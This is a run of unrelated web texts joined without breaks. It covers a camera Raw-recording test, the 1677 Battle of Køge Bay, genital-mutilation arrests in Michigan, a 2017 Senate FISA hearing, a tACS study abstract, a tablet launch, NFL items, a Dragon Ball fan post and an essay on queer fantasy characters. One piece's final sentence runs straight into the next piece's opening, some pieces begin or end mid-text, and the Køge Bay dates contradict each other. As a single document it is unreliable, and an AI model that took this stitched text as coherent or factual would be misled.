JJ MARIE GUFREDA is the author of Left-Hander in London: A Field Guide to Transgenders, Lesbians, Gays and Bisexuals - In the Family, On the Job and In the Pew and is a playwright and performer. Her new productions are, Left-Hander in London – The Earthquake and Left-Hander in London – The Cabaret. JJ is the president of the Indy Rainbow Chamber of Commerce and is a frequent speaker on diversity, religion and political issues. She is the president of GEI and has been in consulting for over 30 years. JJ is married and has three children and four grandchildren.I finally got the chance to shoot a little test on the FS5 with the CBKZ-FS5RIF RAW upgrade key ($600 USD) in firmware v2.0. I recorded it on an original Atomos Shogun at 24fps DCI 4K with an S-Log 3 profile. The lens used was a Canon 24-105 f/4 on a Metabones Speedbooster T, making it an f/2.8 equivalent. I shot with Auto ND on at +1.5 exposure correction.
This was relatively low light and to expose the sunset properly I had to underexpose the shadows. Only a few shots at the end have no ND applied.
I only had 30 minutes to test, but the sunset was lovely. It’s clear as day that the converted Raw holds much more picture information. Try as I might, the same shot shot at the same time in the internal XAVC just didn’t have nearly as much detail in the shadows as the Raw did. It wasn’t even close. However that comes at the cost of noise. I suppose it’s like Raw recording on a stills camera; you have to process out the noise in post to your own liking, which can get rid of detail. As you can see there is a fair amount of noise in the converted-from-Raw ProRes shadows. I had to knock the shadows down to get rid of them.
The other surprise is how good the XAVC-L internal recording looks in a scene like this. I was very surprised. It doesn’t have as much picture detail but it’s quite clean; it’s obvious FW 1.11 fixed this camera’s faults. When pixel peeping on a massive screen, there is definitely more picture detail in the converted RAW footage as compared to the XAVC-L. But given the much higher bitrate this is to be expected.
Consider also that the regular Atomos Shogun only records up to 30fps. If you have a Shogun Inferno or an Odyssey 7Q+, you can actually record up to 60fps in 4K with this upgrade, as well as bursts of four seconds at 120fps in 4K (even the FS7 doesn’t do that), and 240fps continuous 2K. None of this is available with the model of Shogun I was using.
Overall I’d say you probably don’t need this upgrade unless you need a lot of detail or the aforementioned high frame rates in 4K. The internal XAVC, which was heavily graded with a ton of saturation added, looks just great. In fact it is less noisy. On the other hand, the Raw offers more picture detail and can be pushed further without falling apart. Also, while noisier, the noise is ‘clean’ grain-like noise (it looks green here because I boosted the saturation 200%), whereas the internal codec starts to macro block.
The Raw upgrade turns the FS5 into an FS7, image wise and beyond. And it’s cheaper than an FS7, including the recorder, but not by very much. It’s very close though. I don’t know. And keep in mind… I’ve never shot any FSRaw before so this is my first experience.
For more information on my experiences using the Raw upgrade and how to go about installing it head over to Anticipate Media.The Battle of Køge Bay was a naval battle between Denmark-Norway and Sweden that took place in bay off Køge 1–2 July 1677 during the Scanian War. The battle was a major success for admiral Niels Juel and is regarded as the greatest naval victory in Danish naval history.[1]
Prelude [ edit ]
After losing control of the Baltic Sea in the Battle of Öland the year before, the Swedish navy wanted it back. The Danish fleet, commanded by Niels Juel, had 1,354 cannon and 6,700 men, while the Swedish fleet, commanded by Henrik Horn, had +1,792 cannon and 9,200 men.
On 20 May, Sjöblad's squadron from Gothenburg had already left, before the rest of the fleet from Stockholm had set sail. This led to the catastrophic defeat at the battle of Möen where Sjöblad's squadron of two ships of the line, six armed merchant ships (classed as frigates) and a few smaller ships (ca 400 cannons in total) fought against the superior firepower of the Danish fleet, which had about: nine ships of the line, four frigates (ca 670 cannons). In the following battle, Sjöblad's own flagship Amarant was captured and the outcome destroyed the initial Swedish plan and eventually led to the future defeat at Koge Bay.
The remaining Swedish fleet had left Dalarö, near Stockholm, on 9 June 1677. On 13 June it was joined by Kalmar, off Öland, and by Andromeda and Gustavus, survivors of Sjöblad's squadron. The Danish fleet had left Copenhagen on 24 June 1677. Lack of wind forced it to anchor off Stevn's Point. At daybreak on 19 June the two fleets sighted each other.
The battle [ edit ]
At about 8am on 30 June, Horn weighed anchor with a SSW wind and sailed toward the Danish fleet, sending two ships to try to draw Juel out; he in turn sent two ships to attack them. Both sides kept their distance, the Swedes forming a line, followed by the Danes. Juel tried in vain all night to get the weather gauge.
On 1 July at daybreak, despite some of his ships having fallen behind, Juel closed, as did the Swedes, and fighting began at about 5am. Horn sent in fireships but the Danes towed them aside. As the fleets approached the coast near Stevn's Point, Juel bore away a little in the hope that the Swedes would try to stay to windward and run aground.
Indeed, the Swedish warship, Draken, ran aground and Horn had to leave ships behind to protect it as he turned 180 degrees. After the turn, the fleets sailed parallel to each other, but the Swedish fleet had made a gap in their line which Juel utilised to break through, thus isolating several major warships. This was the turning point of the battle, which soon turned into a complete rout.
The Swedes lost eight war ships, several smaller ships and about 3,000 men. The Danish fleet did not lose any ships, only damages on the ships and approximately 100 men were killed and 275 wounded.
Battle in Koge Bay
Aftermath [ edit ]
This battle is recognized as Denmark-Norway's greatest naval victory, and according to 19th century Danish and Norwegian marine officers, Juel invented the "break-through" tactic, more than a hundred years before the British admiral George Rodney broke the French line in the Battle of the Saintes in the Caribbean sea 1782.
The defeat of the Swedish fleet also gave Denmark-Norway control of the Baltic sea, and thereby the inner supply lines of the Swedish Empire. Admiral Tromp's fleet was ordered to "burn and defile, plunder, kill or abduct the people",[1] with the intention of luring Swedish troops away from Scania and thus relieve the land-bound operations. Although Öland and parts of the coast of Småland were devastated, king Charles XI didn't move any forces from main front in Scania. During the remainder of the war, Denmark completely dominated at sea, even after the Netherlands made peace with Sweden in 1678. The Swedish fleet avoided further confrontations and could no longer maintain the line of communication with Swedish Pomerania; the last Swedish troops, on Rügen capitulated to Brandenburg in December 1678.
References [ edit ]
a b "Köge Bukt 1677". Svenska Slagfält. Wahlström & Widstrand. 2005. pp. 238–246.Second Doctor Arrested for Mutilating Little Girls’ Genitals in Michigan
A second Michigan doctor was arrested for performing female genital mutilations on little girls.
Dr. Fakhruddin Attar is accused of letting Dr. Jumana Nagarwala perform mutilations at his Burhani Medical Clinic on Farmington Road in the Detroit area. The little girls were sent from Minnesota to Attar’s clinic for the barbaric procedure.
Muslim physician Jumana Nagarwala was arrested last week and charged for mutilating genitalia of two 7 year old girls.
The Detroit News reported:
Federal agents arrested a second doctor and his wife Friday in a widening conspiracy involving female genital mutilation and members of a Muslim sect. Dr. Fakhruddin Attar is accused of letting Dr. Jumana Nagarwala perform mutilations at his Burhani Medical Clinic on Farmington Road. His wife, office manager Farida Attar, also was arrested and is accused of helping Nagarwala perform the mutilations, according to a 14-page complaint unsealed Friday in federal court. The arrests are the latest development in the nation’s first female genital mutilation case, which is providing insight into a small, insular Muslim community in Metro Detroit and an illegal procedure performed on young girls. The complaint solves a mystery stemming from the case by pinpointing where Nagarwala allegedly mutilated two 7-year-old girls from Minnesota earlier this year. The complaint also describes a conspiracy involving at least Nagarwala, Attar and his wife — all three are members of the Dawoodi Bohra religious community based locally out of a Farmington Hills mosque.Top intelligence leaders testified Wednesday at 10 a.m. ET before the Senate Intelligence Committee.
Scheduled to testify:
Dan Coats -- Director of national intelligence
Andrew McCabe -- Acting FBI director
Mike Rogers -- NSA director
Rod Rosenstein -- Deputy attorney general
HIGHLIGHTS:
Rogers, Coats decline to comment on conversations they've had with Trump, though Rogers said he's never "been directed to do anything illegal, immoral, unethical or inappropriate" as NSA director
The four officials decline to discuss whether they've taken notes or issued memos related to the Russia probe
Burr rips witnesses for not answering questions surrounding Comey firing and Russia probe
The hearing was focused on the Foreign Intelligence Surveillance Act (FISA), though there were a slew of questions involving the firing of former FBI Director James Comey and Russian interference in the 2016 U.S. election.
This comes a day before Comey is set to testify publicly before Congress for the first time on Thursday since President Trump fired him as FBI director last month.
See live updates of Wednesday's hearing below.
Burr rips witnesses for not answering questions
Burr said he had one final message that he wants the witnesses to deliver to the Trump administration. He said that in cases where there's sensitivity of activities, there is a mechanism for congressional oversight whereby officials can brief and notify the Gang of Eight, which includes congressional leadership in both the House and Senate and on both sides of the aisle.
"At no time, should you be in a position to come to Congress without an answer," Burr warned them.
Warner says "the president is not above the law"
Warner said that he's come out of the hearing "with more questions than when I went in." He said that Coats and Rogers were both willing to characterize their conversations with the president, arguing that they didn't feel pressure, but Warner ridiculed them for not sharing the content of those discussions.
Warner said he's "pretty frustrated" that there is a deference to a special prosecutor and he said while their "feelings response" is important, so is the contents of their communications with Trump.
"The president is not above the law," Warner said.
Warner asked if it would be concerning if the president intervened in an investigation.
"If anybody obstructs an investigation, that would be a subject of concern," Rosenstein said, adding that it would investigated appropriately.
Cotton seeks to clarify how 702 works with U.S. citizens
Cotton, who has introduced a permanent extension of FISA, asked the officials if FISA's Sec. 702 allows the intelligence agencies to collect information on U.S. citizens. Rogers explained that they collect intelligence on foreigners outside the U.S. since NSA is a foreign intelligence organization. Rosenstein explained that if a foreigner is inside the U.S., the intelligence agencies have to rely on other provisions of FISA. Cotton asked McCabe what happens if an ISIS terrorist comes to the U.S., and he said that the NSA notifies the FBI and they work together to pursue coverage under a FISA statute.
King grills Rogers and Coats about why they're not answering questions
Sen. Angus King, I-Maine, who caucuses with Democrats, spent several minutes grilling Rogers and Coats about why they aren't answering questions regarding the Comey firing or the Russia probe.
Asked if the White House was invoking executive priviledge, Rogers said he wasn't aware of that. King then asked why he isn't answering questions. Rogers said, "I feel it isn't appropriate, senator" and added that he stands by his comment and he's not going to repeat himself and he said he doesn't mean it in a contentious way. King said that his questions are intended to be contentious.
McCabe explains FBI involvement with 702
Sen. Roy Blunt, R-Missouri, asked McCabe what happens when the FBI wants to follow up on or pursue a U.S. person in or outside the U.S. McCabe explained that they would seek a FISA warrant under Title I. Asked if the FBI ever seeks collection under 702, McCabe said that if the FBI has a full investigation on a foreign person in a foreign place, the bureau would nominate that person for 702 coverage at the NSA.
McCabe is asking about his conversations with Comey
Sen. Martin Heinrich, D-New Mexico, asked McCabe if he had a conversation with Comey about the president asking for Comey's loyalty. McCabe said he isn't in a position to comment because those matters fall within the scope of the special counsel's investigation. McCabe said he wants Comey to speak for himself when he testifies before the Intelligence panel on Thursday morning.
Wyden asks officials whether they ever took notes or issued memos related to Russia probe
Coats said he doesn't take notes, Rosenstein said he rarely takes notes and that he's not going to answer questions on the Russia investigation. McCabe said he's not going to comment on any conversations he's had or if he wrote any notes. Rogers echoed that answer.
Rubio presses officials whether anyone has asked them to influence an ongoing probe
The Florida Republican asked if Coats and Rogers have ever been asked to influence an ongoing investigation. Coats said he's not prepared to answer in an open session. Rubio asked them if anyone ever asked them to issue a statement that wasn't true and Rogers and Coats refused to answer.
Rogers explains the NSA's unmasking process
The unmasking process for the NSA, Rogers said, is defined in writing and in terms of who has the authority to unmask, he said there are 20 individuals in 12 different positions including Rogers. He said that the NSA outlines in writing what criteria will be applied in the request to unmask.
Rogers said that when a U.S. person is referenced in an intelligence report, they don't identify the person. Some of the recipients of the report, he said, will sometimes come back to the NSA and ask who the unnamed individuals are.
The criteria: He said that the recipient must request in writing that the person's identity be unmasked, the request must be made on the basis of the official's duties and the basis of the request must be that the official needs the identity to understand the intelligence he or she is reading. One of the 20 individuals, he said, would then agree or disagree to unmask and if the NSA unmasks, the unmasking goes back only to the person who made the request.
Coats also declines to comment on specific conversations with Trump
Warner brought up reports about the president asking Rogers and Coats to downplay the Russia investigation and that the president asked him and the CIA director to intervene with then-FBI Director James Comey.
Coats said he doesn't believe "it's appropriate for me to address that in a public session."
Rogers comments on report that Trump asked him to downplay Russia probe
Warner raised reports about the president asking Rogers and Coats to downplay the Russia investigation. He asked Rogers whether in his experience, if it would be typical for the president to ask questions, to bring up an ongoing FBI probe, particularly if that probe involves people associated with the president or his campaign.
Rogers said he's "not going to discuss theoreticals" and he's not going to discuss specific conversations with the president. But, he said he would make one comment. He said in the more than 3 years that he has served as NSA director, he said, "I've never been directed to do anything illegal, immoral, unethical or inappropriate." He said he does not "recall feeling pressured" to do something.
Warner said he's disappointed with his answer.
Coats reveals case that he classified to illustrate the value of Sec. 702
He said that as a result of 702, the U.S. was able to find and kill ISIS's finance minister, Haji Iman, in March 2016. Coats said that the NSA, along with its intelligence community partners, spent over two years from 2014 to 2016 looking for Iman.
He explained that the NSA learned of a person "closely associated" with Iman and collected intelligence on the associate, forming a robust network. The NSA and its tactical partners, Coats said, combined the information and was able to identify Iman and track his movements. This allowed U.S. forces, he said, to attempt an apprehension of Iman in March 2016. The operation led to shots being fired at U.S. forces, which led to the killing of Iman and other associates at that location.
Coats defends FISA's Sec. 702, urges Congress to reauthorize the surveillance program
Coats, the director of national intelligence, in his opening joint statement, said that intelligence collection under 702 has produced and continues to produce "significant intelligence" that he said is "vital" to protect the nation from international terrorism, cyber threats and proliferation. He said it contains strong protections for privacy.
Coats said that since FISA was implemented a decade ago, there has been rigorous oversight over the program.
He said that in the nearly 10 years since Congress enacted legislation that established FISA there have been "no instances" of intentional violations of 702. He said that it may not be used to target U.S. persons anywhere in the world and cannot be used to target anyone in the U.S., regardless of their nationality.
"We have never, not once, found an intentional violation of the program. There have been unintended mistakes," he said. "None of these mistakes has been intentional."
Warner says he will address reports surrounding Comey firing, Russia probe
Warner, the top Democrat on the panel, acknowledged reports that Trump was thinking of the Russia probe when he fired Comey as FBI director. He said that lawmakers will have the opportunity Wednesday to ask Rosenstein about his role in the Comey firing. He highlighted reports that said that the president asked at least two leaders of the intelligence agencies to publicly downplay the Russia investigation and asked Coats and CIA Director Pompeo to pull back on the Russia probe.
"If any of this is true, it would be an appalling and improper use of our intelligence professionals," Warner said.
Burr highlights need to approve "critical" foreign intelligence surveillance tool
The chairman said that the panel's hearing highlights the most critical foreign intelligence tool -- FISA -- which he said expires on Dec. 31 unless Congress reauthorizes it. He spoke about Sec. 702 of Title 7 which he said provides the capability to target foreigners located outside the U.S. but whose foreign communications happen to be routed to and acquired in the U.S.
Burr said that the program is "exceptionally critical" to protecting Americans at home and abroad and in preventing terror attacks.
He acknowledged that there may be discussion about Russian interference in the 2016 election.The objective of the study was to explore the influence of transcranial alternating current stimulation (tACS) on resting brain activity and on measures of fluid intelligence. Theta tACS was applied to the left parietal and left frontal brain areas of healthy participants after which resting electroencephalogram (EEG) data was recorded. Following sham/active stimulation, the participants solved two tests of fluid intelligence while their EEG was recorded. The results showed that active theta tACS affected spectral power in theta and alpha frequency bands. In addition, active theta tACS improved performance on tests of fluid intelligence. This influence was more pronounced in the group of participants that received stimulation to the left parietal area than in the group of participants that received stimulation to the left frontal area. Left parietal tACS increased performance on the difficult test items of both tests (RAPM and PF&C) whereas left frontal tACS increased performance only on the easy test items of one test (RAPM). The observed behavioral tACS influences were also accompanied by changes in neuroelectric activity. The behavioral and neuroelectric data tentatively support the P-FIT neurobiological model of intelligence.
Copyright © 2014 Elsevier B.V. All rights reserved.Becky Griggs 200 Pound Weight Loss (PHOTOS, VIDEO)
Becky Griggs is a 43-year-old fitness trainer from Oregon City, Oregon who used to weight 352 pounds. That was six years ago and today she is 200 pounds lighter than she used to be and has improved her health significantly in the process.
Griggs competed in a body-building contest this year at a weight of 139 pounds, but admits she is most comfortable maintaining her weight at 150 pounds. See photos below.
How did she drop all of that weight? Becky reports that her weight loss plan was and still is really quite simple. She eats five small meals a day, focusing on protein, fruits and vegetables. She totally eliminated sugar and flour until she hit her weight loss goal and now allows herself an occasional cheat as long as she plans ahead and counteracts the moments of ill-advised food choices.
She took it a step further when she decided to become a fitness trainer. She needed a way to stay connected to a fitness routine and realized the new career choice would keep her in the gym.
Griggs' story is a major motivation to her clients. She believes that it is critical for those embarking on a weight-loss program to really believe that they can improve their health with positive mind images. She also recommends finding a like-minded friend to share positive feedback and provide support during the rough and rocky journey.
Her biggest piece of advice during the holiday season is to beware of the food pushers, especially well-meaning family members. She cautions her clients to keep a positive self-images close at hand in order to respond with a gracious and heartfelt 'No, thank you.'
View more photos and video below.Fusion Garage has finally come clean with its side of the story in regards to the CrunchPad debacle, and just unveiled its new Arrington-free version of the device: the Joojoo. The way Fusion Garage tells it, the device was already in the works at the time of the original TechCrunch post about the idea, and that Michael Arrington and co. made zero contributions to the development of the device -- and apparently don't have any sort of contract to prove otherwise. The device is much along the lines of what we'd been hearing: it runs a UNIX-based OS, boots straight to a web browser (otherwise no apps at all), weighs about 2.4 pounds and features a 12.1-inch capacitive touchscreen. There are no physical buttons on the slate outside of the on-off switch, which taps into a 9 second boot time. Under the hood there's a 4GB SSD, WiFi (no 3G), an accelerometer and about 5 hours of battery life. Pre-orders start on December 11th, with a dream-shattering $499 pricetag bringing this thing back into the realm of reality. We're supposed to see demos of the Joojoo in the wild this week, and another shot of the device can be found after the break.CLOSE New York federal judge approves Ezekiel Elliott's request for a preliminary injunction, preventing the NFL from imposing a six-game suspension. USA TODAY Sports
Lawyers for the NFL argued in a court filing that a preliminary injunction -- which prevents the league from suspending Cowboys running back Ezekiel Elliott’s -- should be lifted. (Photo11: Matt Kartozian, USA TODAY Sports)
The NFL is not considering working towards a settlement with Dallas Cowboys running back Ezekiel Elliott as his legal battle over a six-game suspension continues.
Joe Lockhart, the NFL's Vice President of Communications, said on Friday that the league remains confident that the proper punishment was leveled. And although Elliott is again permitted to play at least until an Oct. 30 appeal hearing, Lockhart has confidence that the suspension will stand.
"We're not looking to make a deal. We are confident that our argument will prevail in court later this month," Lockhart said.
Elliott is eligible to play in Dallas' next game, at San Francisco because the U.S. District Court for the Southern District of New York granted a temporary restraining order against his six-game suspension for violating the league's personal conduct policy.
The latest court order requires the NFL to show cause for the suspension in court on Oct. 30. Until then, Elliott can continue to play.API Support for Wikis CORE STARTER PREMIUM ULTIMATE FREE BRONZE SILVER GOLD You can now use the GitLab API to work with wiki pages! With the additions to the API, it is possible to get a list of all wiki pages, get a particular page, create a new wiki page, as well as edit and delete pages, providing a great way to programmatically access GitLab’s wiki functionality. Many thanks to our community contributor, Vitaliy Klachkov for adding this functionality. Documentation Issue
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35 games (40.7%) were decided by one touchdown or less (7 points or less). Here’s how it breaks down Pre-Riverboat Ron and Post-Riverboat Ron:
2-14 “Pre-Riverboat” (.125 win percentage)
16-3 “Post-Riverboat” (.842 win percentage)
Those results aren’t “luck!” That kind of turn-around is due to improved game management and a winning culture.
Good teams don’t necessarily rely on big wins in which they dominate their opponents, but they find a way to win close games. They make their own luck, just as Riverboat Ron and the Panthers have done since week 3 of 2013.
A will and a drive to win, grit, clutch play, and yes, skill too. A great coach. A great team. A team making their own luck. The results are exciting! Long may this riverboat keep on rollin’.
Finally, the 2003 Carolina Panthers – aka the Cardiac Cats – deserve a special mention in talking about close wins. They played 13 close games and won 9 of them. NFL success is not always about blow out wins. Playing lots of close games, but winning almost all of them is also a recipe for success — a rare one, a heart-stressing one. But it can be done. It just takes extra guts.
The 2001 Panthers deserve a place in the close game hall of shame. They played 9 games decided by fewer than 10 points, and lost them all.
Here’s a look at Panthers History in terms of close games played and close games won:I've 3D Printed my grandmother's hometown as a mother's day gift.
The town is Lac-Mégantic located in Québec, Canada. You may have heard of it because of the rail disaster in July 2013 which claimed 47 lives and destroyed more than 40 buildings downtown.
My grandmother and most of my extended family still live in the area, which is now unrecognizable after the decontamination and rebuilding of the affected zone. So I've decided to recreate how Lac-Mégantic used to be, using a 3D Printer and paint. The result is a 8x6 inch (1:3000 scale) 3D map tile that can be placed horizontally on a shelf or hung vertically on a wall, in a frame.
Since there was a lot of interest on these Redditthreads, I've created this step-by-step Instructables on how I modeled and printed this town. It can inspire you on how to achieve a similar result for your own city.
Things needed for this project:The Syrian government wants US President-elect Donald Trump to end support for armed rebel groups.
Foreign Minister Walid al-Moallem on Sunday said he also hopes the new president will curb regional powers who back the Syrian opposition, such as Saudi Arabia, Turkey and Qatar.
"What we want from the new administration is not just to stop support (for armed groups)... but to curb those regional powers that are supporting those groups... we have to wait," Moaellem said during a televised news conference in Damascus.
President-elect Trump has not yet announced any change to US policy in the Middle East or appointed a Secretary of State.
However he has previously hinted at a warming of ties with Russia, which is fighting for President Bashar al-Assad's government, in a move unlikely to bode well for rebels.
Trump also spent his presidential campaign attacking the Obama administration's policy of supporting moderate Syrian rebel groups fighting Assad and pledged to focus on efforts to fight the Islamic State group (IS).
"My attitude was you're fighting Syria, Syria is fighting ISIS, and you have to get rid of ISIS. Russia is now totally aligned with Syria, and now you have Iran, which is becoming powerful, because of us, is aligned with Syria," Trump said following his election, using another acronym for IS.
"Now we're backing rebels against Syria, and we have no idea who these people are," he added.
Earlier this year, the US revamped a train-and-equip programme for rebels after a previous attempt failed.
The new initiative aimed to work with a set number of members from each opposition group instead of entire rebel units fighting on the front lines as was the case with the previous effort.
The Pentagon's initial $500 million project to train "moderate" opposition members was widely criticised when the US admitted its failure to recruit adequate numbers and many objecting to fight only IS, and not Syrian government troops.
A group trained by the US was also caught handing over ammunition and other gear to Syria's al-Qaeda franchise, the Nusra Front.No-one thought twice about Gohan when the very first details on the upcoming film, Dragon Ball Z: Battle of Gods, were first revealed. There he was with the rest of the group in what seemed to be a time frame around the end of the Majin Boo story arc.
It was only when the preliminary version of the movie’s poster first leaked that questions began to spring up, where Gohan was pictured along the bottom in his Super Saiyan form. By this point, Toei Animation and various parties associated with the movie had confirmed the story would take place between the defeat of Boo (Chapter 517) and the 28th Tenka’ichi Budōkai (Chapter 518).
At this point in the story, Gohan had received his power-up from the Elder Kaiōshin and, for what few chapters remain in the rest of the series, Gohan does not again transform into a Super Saiyan:
Son Goku: “It re-really is incredible… It’s super-duper…! Absolutely unbelievable… Your appearance has hardly changed… And you ain’t even a Super Saiyan… Yet you’ve been taken to su-such an extreme…”
Elder Kaiōshin: “Hmph, transforming isn’t good. That Super whatever-it’s-called is the wrong way of doing things…”
Long story short, nothing is revealed — at all — about Gohan’s ability or inability to actually transform if he wanted, if this was a permanent or temporary power-up, etc. It is just left at that… until Dragon Ball GT, when Gohan unceremoniously transforms into a Super Saiyan during Baby’s arrival and infestation of our heroes on Earth. Nothing is ever mentioned about the Elder Kaiōshin’s power-up and what may have happened to or with it.
Back on Episode #0319 of our podcast, the super-trio of myself (VegettoEX), Jake (Herms), and Sean (Kaboom) dug through every bit of published material about the situation. What did the manga say? What did the anime say? What did the guide books say? While there was little in the way of solid conclusions we could draw, the conversation more comprehensively covers the situation than this post does — we definitely encourage you to check it out.
So that brings it back to Battle of Gods: if this story was set to take place during the original timeline shown in the manga, what is up with Gohan transforming?
Things got a little more confusing with the second full length trailer that was recently released, in which Gohan is clearly shown to be both standing around and fighting in his “Ultimate” form, or at the very least, simply not as a Super Saiyan. What about some of the artwork, which appeared to be direct screenshots from the movie, that clearly showed Gohan transformed…?
Scriptwriter Yūsuke Watanabe was recently asked by a fan on Twitter about Gohan, to which he replied (presented below broken apart from the flow of conversation):
胡桃沢 (@Peter_smit4) @yuusukewatanabe しかも悟飯は超サイヤ人になる必要性がないんですが。 いい加減なGTスタッフもそうでしたが、完全に忘れてましたよね。老界王神の潜在能力解放を。 Kurumizawa (@Peter_smit4) @yuusukewatanabe And on top of that, there’s no need for Gohan to be a Super Saiyan. The GT staff were careless like that too, but you completely forgot about it, didn’t you? — Elder Kaiōshin’s unlocking his latent potential.
脚本家のほうの渡辺雄介 (@yuusukewatanabe) @Peter_smit4 あ、あとネタバレになるので、あれなんですが本編では悟飯、スーパーサイヤ人になってませんよ！ ぜひ映画本編でご確認ください！ よろしくお願いします！ Yūsuke Watanabe the Scriptwriter (@yuusukewatanabe) @Peter_smit4 Oh, and also, this is a spoiler, so it’s kind of “that” [i.e., not appropriate for me to be telling you], but in the movie proper, Gohan isn’t a Super Saiyan! By all means, please do check it out in the actual movie!
胡桃沢 (@Peter_smit4) @yuusukewatanabe あれ？予告編でなってると思ったんですが、あれは宣伝目的的な映像だったのでしょうか。 基本洋画は特典などがついてるからDVDでみるのが好きなんですが、DBに限ってはDBファンの話のなかに入りたいし、公開日に観に行きます。お返事ありがとうございます。 Kurumizawa (@Peter_smit4) @yuusukewatanabe Huh? I thought he was one in the trailer, but maybe the video was just for promotional purposes? As a rule, I like to watch western movies on DVD because they come with extras and such, but for DB alone, I want to be involved in DB fan-discussions, so I’ll go see it the day it opens. Thanks for your reply.
脚本家のほうの渡辺雄介 (@yuusukewatanabe) @Peter_smit4 すいません！予告編とかポスターとか、そっち系は、脚本家としては担当外でして、何とも言えません…。恐縮ですが何卒よろしくお願いします。 Yūsuke Watanabe the Scriptwriter (@yuusukewatanabe) @Peter_smit4 Sorry! As the scriptwriter, stuff like trailers and posters falls outside my responsibilities, so I can’t tell you anything [about that]. I’m terribly sorry, but please [try to understand] all the same.
So there you have it: Gohan being shown as a Super Saiyan in early promotional materials was simply for visual purposes, and Yūsuke Watanabe at least seems to agree with this fan that Gohan’s transformation in Dragon Ball GT might have been a careless oversight.
Perhaps thankfully, while this is great clarity to have, it actually does not render our discussion in the podcast episode irrelevant! We highly encourage you to check it out and come up with some of your own conclusions as we break apart all of the fun little tidbits, particularly from a few guide books that rarely get the spotlight.
Big thanks to our buddy kei17 for the heads-up!JREF Swift Blog
An Excellent and Responsible Response!
In this article, we told you about reader Greg Rochon’s quite justified complaint concerning the inclusion of astrology in a student counseling service. Go there and read that item, please, then return here.
I asked Greg to report to us if any response was received.
It was:
Hello Mr. Rochon,
Thank you for your email.
We agree that the link to career.astrology.com is completely inappropriate and have removed it from StudentCounsellor.com. and in the next week will review the entire “Cool Links” section.
We value your comments.
Best regards,
Joyce Coleman
StudentCounsellor.com
Every now and then, appropriate reactions are noticed, and we must thank Ms. Coleman and her colleagues for acting this way to remedy what we believe was an error in judgment. Thank you!
And thank you, Greg Rochon…!UBC linguistics professor Dr. Bryan Gick, postdoctoral fellow Heather Bliss and their colleagues recognized the gap and set out to bridge it. They knew they needed the expertise of language teachers, so they reached out across department lines to create a multidisciplinary team comprising faculty in linguistics, language sciences, computer science and Asian studies, giving rise to an integrated group working across UBC to improve student learning.
Backed by language research and supported by the UBC Teaching and Learning Enhancement Fund (TLEF) and a flexible learning grant, the group layered audio recordings with ultrasound technology to create the first-ever way to literally get inside a native language speaker’s head. With the accompanying prosody visualizer — similar in appearance to a graphic equalizer — learners can record their own voices and compare them to that of a model speaker, pairing the visual and aural modalities for maximum learning.
The results have been astonishing.
Not only did the tool deliver on its promise on improving learners’ pronunciation, it proved useful for speech therapists and language teachers as well. But what no one saw coming was how powerful the program is at reviving languages that are on the verge of extinction.
Take, for example, the W̱SÁNEĆ First Nation of Vancouver Island, who have just a few remaining first-language speakers. With eNunciate and the tongue visualizer as tools, the W̱SÁNEĆ are now able to create accessible programming for children and adults alike to reclaim and reintegrate their language. The Upriver Halq’emeylem peoples of the Lower Mainland also are using the technology, recording and preserving the language as it is spoken by their last native speaker.
The program helps learners get their pronunciations right — a challenge given that many sounds in Indigenous languages come from far back in the vocal tract, which until now has been difficult to visualize and replicate. The eNunciate project is doing even more than that, however. It’s helping Aboriginal learners reconnect with their languages in a way that is reflective of a deeper connection with nature and a stronger sense of culture — indeed in a way that represents an entirely different worldview.
The work continues, with Dr. Bliss and her colleagues travelling to Aboriginal communities throughout western Canada, tongue visualizer and recording kit in hand, ready to teach users how to use the tools to develop their own language libraries — for now, and for generations from now.I’d been wanting to write a post about Queer characters in fantasy for some time, but having recently finished Sheridan Le Fanu’s Carmilla (1872), I’ve decided to get around to actually doing it. Such characters becoming more common is definitely one of the more positive fantasy trends out there, though I think the genre still has some way to go; I will look at why this might be the case.
Why is a greater degree of inclusiveness important? Simple – if you are going to portray characters as realistic people, rather than as archetypes, sexuality is an important human universal. As writers we often try to deal with human universals, and in this case we have to acknowledge that we are dealing with something very complex (which is why I use the convenient umbrella term Queer, rather than ever-complicated and ever-expanding acronyms). People’s desires and orientations differ in real-life, so if you are going to portray sexuality in your work, I think such differences need to be explored on the page too. Note that in some situations, this is easier said than done (I’ll get to that…).
Fantasy, more so than science-fiction, has traditionally been rather slow off the mark here. I would suggest four causes: a genre fascination with archetypes, the domination of Medieval European settings, Tolkienian influence, and real-world social norms – authors are creatures of their own time, while publishers are acutely aware of target audiences.
In the case of the first, consider the root texts – there is no sex in Beowulf, largely because the story is not primarily concerned with Beowulf’s interior emotions and psychology. Rather, the poem deals with wider, epic themes, such as the enduring nature of man’s reputation and his struggle against a hostile world. If one is dealing with larger-than-life material – which is what the epic truly involves – there is comparatively little space for dealing with the more mundane and private aspects of human existence, and if sexuality takes a backseat, so does its variants.
In the case of the second point, the issue is less the actual attitudes of Medieval Europe, and more posthoc associations. Sexual orientation as we understand it today did not exist as a concept in the Middle Ages – their distinction rested much more on who was doing the penetrating than on the biological sex of the participants. Yet because it was the “past”, there remains a pervasive idea that it was much more conservative than today. Writing a Queer character in a medieval fantasy setting might draw misplaced accusations of anachronism (unless the character hides their inclinations), whereas far-future science-fiction would never run into that problem.
Then there is the all-consuming shadow of Tolkien. As some of you know, I’m a massive Tolkien fan/apologist, but in this case having him as the benchmark text of the genre is problematic. I won’t go into detail about Tolkien’s views of sexuality (that’s for another post, when I get to that part of McGarry and Ravipinto), and contrary to popular belief he really did write about it, but like his source material he was more interested in epic archetypes and cosmic themes than in fine portraits of characterisation. Also, those of his works that do feature a sexual element (The Silmarillion; Aldarion and Erendis) are more obscure than The Lord of the Rings and The Hobbit, where sexuality is almost completely absent. This in turn has likely “neutered” those subsequent works that take Rings as a model, and if fantasy authors shy away from portraying sexuality at all, that goes double for Queer characters.
The fourth and final contributing factor is, of course, the actual world in which we live. In my country, homosexuality was only legalised in 1986 (we now have gay marriage, which shows how far New Zealand has come in my lifetime). If something is illegal, authors and publishers must think twice before “going there” with literary portrayals.
It is quite unfortunate that the rise of the novel as a literary form in the eighteenth and nineteenth centuries coincided with a much harsher social view of non-straight sexuality. Authors like Sheridan Le Fanu had to get creative and metaphorical with depicting it (Carmilla is the prototype lesbian vampire), while Oscar Wilde famously pushed the envelope a bit too far. Perhaps that is why, when Queer characters by necessity lurked in the literary shadows, they tended to find a home in the horror genre, where transgressions of social norms was the entire point of the exercise. It also goes without saying that homosexuality was illegal in Britain at the time Tolkien wrote The Lord of the Rings: the Frodo/Sam friendship (however it may be read with twenty-first century eyes) is as far as any author in Tolkien’s position could have acceptably gone.
